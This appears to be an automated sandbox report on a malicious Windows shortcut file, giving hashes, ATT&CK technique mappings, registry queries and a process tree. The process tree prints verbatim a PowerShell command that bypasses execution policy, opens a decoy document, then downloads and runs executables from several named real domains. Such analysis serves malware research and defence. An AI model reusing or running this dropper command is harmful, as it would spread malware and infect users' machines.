18d77d07d2526660da13ca7c62925458360630a526b939f6eab32cc3233659a1

General

Target

105e49bf1a9ac6a8f095ca1e9dfa5958_JaffaCakes118.lnk
Size

2KB
MD5

105e49bf1a9ac6a8f095ca1e9dfa5958
SHA1

ec9174ecb7de3a9ff2005dc726f4629e645d89d1
SHA256

18d77d07d2526660da13ca7c62925458360630a526b939f6eab32cc3233659a1
SHA512

194d0f1d6cb6f7069b5684f2a977134c3c8f82e29b3cd0d09f34213f1473f5a297e6593c3fb2775789038204203d1028ae47272d46ea3d929b01d9cdc498ac32

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	4068	powershell.exe
9	4068	powershell.exe
16	4068	powershell.exe
24	4068	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4068	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2356	WINWORD.EXE
2356	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4068	powershell.exe
4068	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4068	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 4068	1636	cmd.exe	83
PID 1636 wrote to memory of 4068	1636	cmd.exe	83
PID 4068 wrote to memory of 2356	4068	powershell.exe	87
PID 4068 wrote to memory of 2356	4068	powershell.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\105e49bf1a9ac6a8f095ca1e9dfa5958_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy ByPass -NoProfile -command function goe { return New-Object System.Net.WebClient; }; $rnd = New-Object System.Random; $ld = 0; $cs = [char]92; $fn = $env:temp+$cs; $ll = 'actual-clinic.ru','custommaidbooks.com','pinkcamille.com','locksmithtaunton.net','helpdeskng.com'; $dc = $fn+'a.doc'; $lk = $fn+'a.txt'; $y = goe; function g($f) { Start $f; }; $c = ''; if (!(Test-Path $dc)) { for ($i=0; $i -lt 2000; $i++) { $c = $c + [char]$rnd.Next(1,255); }; $c | Out-File -FilePath $dc; }; g($dc); if (!(Test-Path $lk)) { New-Item -Path $fn -Name 'a.txt' -ItemType File; for($n=1; $n -le 2; $n++) { $gop = '/counter/?TZWajRSsfqVvY6jmjdd_QLm_5Y3oJ6kfm3XxsQkTmKkZHf6ZWl0Ozg2PggWE7WOxbIY3mPYQ9s4L3iLQaEVBvAEo4B4'+$n; $f = $fn+'a'+$n+'.exe'; for($i=$ld; $i -lt $ll.length; $i++) { $u = $ll[$i] + $gop; $u = 'http://' + $u; $y.DownloadFile($u, $f); if (Test-Path $f) { $var = Get-Item $f; if ($var.length -gt 10000) { g($f); $ld=$i; break; }; }; }; }; };notepad.exe
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a.doc" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:2356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_afspadu5.5na.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a.doc

Filesize
3KB

MD5
66a7adfe485a3cb4263ed3675657ba14

SHA1
3af655818e958800f6473dd1170acf8420b58e5d

SHA256
96ce457cecc6ae973f2adabd2481d3c2dabb5d5dfe2b7243461af5ae1056ecfb

SHA512
627eca459216d05333775d47ed7c6a758712a375cd991977a2dfc13ef72e0d5ee17036979fedafd05d2fa2c37e93aaaf1c46097d1e3451001cf354ff7e013e49

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C:\Users\Admin\AppData\Local\Temp\a1.exe

Filesize
335KB

MD5
19a56801d8f2b5422b1b028de6656ab9

SHA1
c3781062fe02b754a93a4d07b5ece5350aca527a

SHA256
2ee17643f1626233992ff300fc8b35c8ef6fc557a9151479be4930e12b0272f1

SHA512
0e7bb806b90b8ebc3ec3f1f2878936b4a7e0e64c3bd8c6d01711b167adb3511319567eb3958f5685c89fe59a21c5c36b86aef2b86482b760d92ab374872865df

Download Submit
memory/2356-29-0x00007FFF95770000-0x00007FFF95780000-memory.dmp

Filesize
64KB

Download
memory/2356-25-0x00007FFF980D0000-0x00007FFF980E0000-memory.dmp

Filesize
64KB

Download
memory/2356-30-0x00007FFF95770000-0x00007FFF95780000-memory.dmp

Filesize
64KB

Download
memory/2356-24-0x00007FFF980D0000-0x00007FFF980E0000-memory.dmp

Filesize
64KB

Download
memory/2356-26-0x00007FFF980D0000-0x00007FFF980E0000-memory.dmp

Filesize
64KB

Download
memory/2356-28-0x00007FFF980D0000-0x00007FFF980E0000-memory.dmp

Filesize
64KB

Download
memory/2356-27-0x00007FFF980D0000-0x00007FFF980E0000-memory.dmp

Filesize
64KB

Download
memory/4068-14-0x00007FFFB9E70000-0x00007FFFBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4068-23-0x00007FFFB9E70000-0x00007FFFBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4068-2-0x00007FFFB9E73000-0x00007FFFB9E75000-memory.dmp

Filesize
8KB

Download
memory/4068-13-0x00007FFFB9E70000-0x00007FFFBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4068-12-0x00000272DA6A0000-0x00000272DA6C2000-memory.dmp

Filesize
136KB

Download
memory/4068-60-0x00000272F26E0000-0x00000272F28FC000-memory.dmp

Filesize
2.1MB

Download
memory/4068-61-0x00007FFFB9E70000-0x00007FFFBA931000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads